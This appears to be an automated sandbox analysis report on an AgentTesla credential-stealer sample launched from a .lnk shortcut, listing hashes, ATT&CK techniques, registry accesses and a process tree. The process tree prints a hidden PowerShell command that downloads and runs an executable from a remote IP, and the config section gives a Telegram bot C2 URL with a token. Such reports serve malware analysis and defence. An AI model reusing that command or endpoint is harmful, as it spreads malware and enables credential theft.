agenttesla | d3ab1b047a1ee9985c00c95cd4d205f79bdf47ade1f18ee30ec9d88a58cb133d

General

Target

AYF00675.lnk
Size

1KB
MD5

92cff55b70b6556b395300de968521fc
SHA1

4bfccd1a6dc2a775a497074caecf25386dab49fb
SHA256

d3ab1b047a1ee9985c00c95cd4d205f79bdf47ade1f18ee30ec9d88a58cb133d
SHA512

7b59f385a7bacba7a87479837218f1399894480f2b4ae60811d0c4ec180cfbfde6170ecb0b369f4dd0cd75af02a216b5659e714d7c53d439394664505a9311fe

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6184846740:AAFy48QnJEpbqT9DY_xx392kz1tH5_khlWo/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
17	3112	powershell.exe
19	3112	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2013768333-4045878716-2922883000-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4556	newfile.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2013768333-4045878716-2922883000-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2013768333-4045878716-2922883000-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2013768333-4045878716-2922883000-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
48	api.ipify.org
47	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4556 set thread context of 3208	4556	newfile.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3112	powershell.exe
3112	powershell.exe
4556	newfile.exe
4556	newfile.exe
3208	RegAsm.exe
3208	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3112	powershell.exe
Token: SeDebugPrivilege	4556	newfile.exe
Token: SeDebugPrivilege	3208	RegAsm.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3756 wrote to memory of 1220	3756	cmd.exe	87
PID 3756 wrote to memory of 1220	3756	cmd.exe	87
PID 1220 wrote to memory of 3112	1220	cmd.exe	88
PID 1220 wrote to memory of 3112	1220	cmd.exe	88
PID 3112 wrote to memory of 4556	3112	powershell.exe	92
PID 3112 wrote to memory of 4556	3112	powershell.exe	92
PID 3112 wrote to memory of 4556	3112	powershell.exe	92
PID 4556 wrote to memory of 3176	4556	newfile.exe	98
PID 4556 wrote to memory of 3176	4556	newfile.exe	98
PID 4556 wrote to memory of 3176	4556	newfile.exe	98
PID 4556 wrote to memory of 3208	4556	newfile.exe	97
PID 4556 wrote to memory of 3208	4556	newfile.exe	97
PID 4556 wrote to memory of 3208	4556	newfile.exe	97
PID 4556 wrote to memory of 3208	4556	newfile.exe	97
PID 4556 wrote to memory of 3208	4556	newfile.exe	97
PID 4556 wrote to memory of 3208	4556	newfile.exe	97
PID 4556 wrote to memory of 3208	4556	newfile.exe	97
PID 4556 wrote to memory of 3208	4556	newfile.exe	97

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2013768333-4045878716-2922883000-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2013768333-4045878716-2922883000-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AYF00675.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell.exe -windowstyle hidden -command "& {Invoke-WebRequest -Uri 'http://185.196.9.20/test/sleeps.exe' -OutFile $env:APPDATA\newfile.exe; Start-Process $env:APPDATA\newfile.exe}"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -windowstyle hidden -command "& {Invoke-WebRequest -Uri 'http://185.196.9.20/test/sleeps.exe' -OutFile $env:APPDATA\newfile.exe; Start-Process $env:APPDATA\newfile.exe}"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3112
  - - C:\Users\Admin\AppData\Roaming\newfile.exe
      "C:\Users\Admin\AppData\Roaming\newfile.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4556
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        5⤵
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:3208
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        5⤵
        
        PID:3176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

3

T1552

Credentials In Files

3

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hwgymv10.2xw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\newfile.exe

Filesize
14KB

MD5
716c27c08649ad5319ef1c41950c1c82

SHA1
a6ea541cf0cbb41550dcde53b3da372f16c31652

SHA256
f62640b8047a6105ba98ab690d7908f6c3e8aef22f05d6512e838457a01e0593

SHA512
f7bcb38737514e0d335ea3d7db8a172e077ad00825740b4e54dedb42fcdc135456981ce2774c9b328809cb28a83b5efe9a281f40b641af1985ed3d2493b0b40e

Download Submit
C:\Users\Admin\AppData\Roaming\newfile.exe

Filesize
14KB

MD5
716c27c08649ad5319ef1c41950c1c82

SHA1
a6ea541cf0cbb41550dcde53b3da372f16c31652

SHA256
f62640b8047a6105ba98ab690d7908f6c3e8aef22f05d6512e838457a01e0593

SHA512
f7bcb38737514e0d335ea3d7db8a172e077ad00825740b4e54dedb42fcdc135456981ce2774c9b328809cb28a83b5efe9a281f40b641af1985ed3d2493b0b40e

Download Submit
C:\Users\Admin\AppData\Roaming\newfile.exe

Filesize
14KB

MD5
716c27c08649ad5319ef1c41950c1c82

SHA1
a6ea541cf0cbb41550dcde53b3da372f16c31652

SHA256
f62640b8047a6105ba98ab690d7908f6c3e8aef22f05d6512e838457a01e0593

SHA512
f7bcb38737514e0d335ea3d7db8a172e077ad00825740b4e54dedb42fcdc135456981ce2774c9b328809cb28a83b5efe9a281f40b641af1985ed3d2493b0b40e

Download Submit
memory/3112-0-0x0000022255680000-0x00000222556A2000-memory.dmp

Filesize
136KB

Download
memory/3112-10-0x00007FF8D0670000-0x00007FF8D1131000-memory.dmp

Filesize
10.8MB

Download
memory/3112-11-0x0000022255400000-0x0000022255410000-memory.dmp

Filesize
64KB

Download
memory/3112-13-0x0000022255400000-0x0000022255410000-memory.dmp

Filesize
64KB

Download
memory/3112-12-0x0000022255400000-0x0000022255410000-memory.dmp

Filesize
64KB

Download
memory/3112-27-0x00007FF8D0670000-0x00007FF8D1131000-memory.dmp

Filesize
10.8MB

Download
memory/3208-37-0x00000000055F0000-0x0000000005656000-memory.dmp

Filesize
408KB

Download
memory/3208-36-0x00000000055E0000-0x00000000055F0000-memory.dmp

Filesize
64KB

Download
memory/3208-53-0x00000000055E0000-0x00000000055F0000-memory.dmp

Filesize
64KB

Download
memory/3208-31-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/3208-34-0x0000000074BD0000-0x0000000075380000-memory.dmp

Filesize
7.7MB

Download
memory/3208-52-0x0000000074BD0000-0x0000000075380000-memory.dmp

Filesize
7.7MB

Download
memory/3208-35-0x0000000005C40000-0x00000000061E4000-memory.dmp

Filesize
5.6MB

Download
memory/3208-51-0x0000000006D20000-0x0000000006D2A000-memory.dmp

Filesize
40KB

Download
memory/3208-50-0x0000000006FC0000-0x0000000007052000-memory.dmp

Filesize
584KB

Download
memory/3208-38-0x0000000006B30000-0x0000000006B80000-memory.dmp

Filesize
320KB

Download
memory/3208-39-0x0000000006D50000-0x0000000006F12000-memory.dmp

Filesize
1.8MB

Download
memory/3208-49-0x0000000006C20000-0x0000000006CBC000-memory.dmp

Filesize
624KB

Download
memory/4556-29-0x0000000074BD0000-0x0000000075380000-memory.dmp

Filesize
7.7MB

Download
memory/4556-28-0x0000000000590000-0x000000000059A000-memory.dmp

Filesize
40KB

Download
memory/4556-33-0x0000000074BD0000-0x0000000075380000-memory.dmp

Filesize
7.7MB

Download
memory/4556-30-0x0000000004F90000-0x0000000004FA0000-memory.dmp

Filesize
64KB

Download

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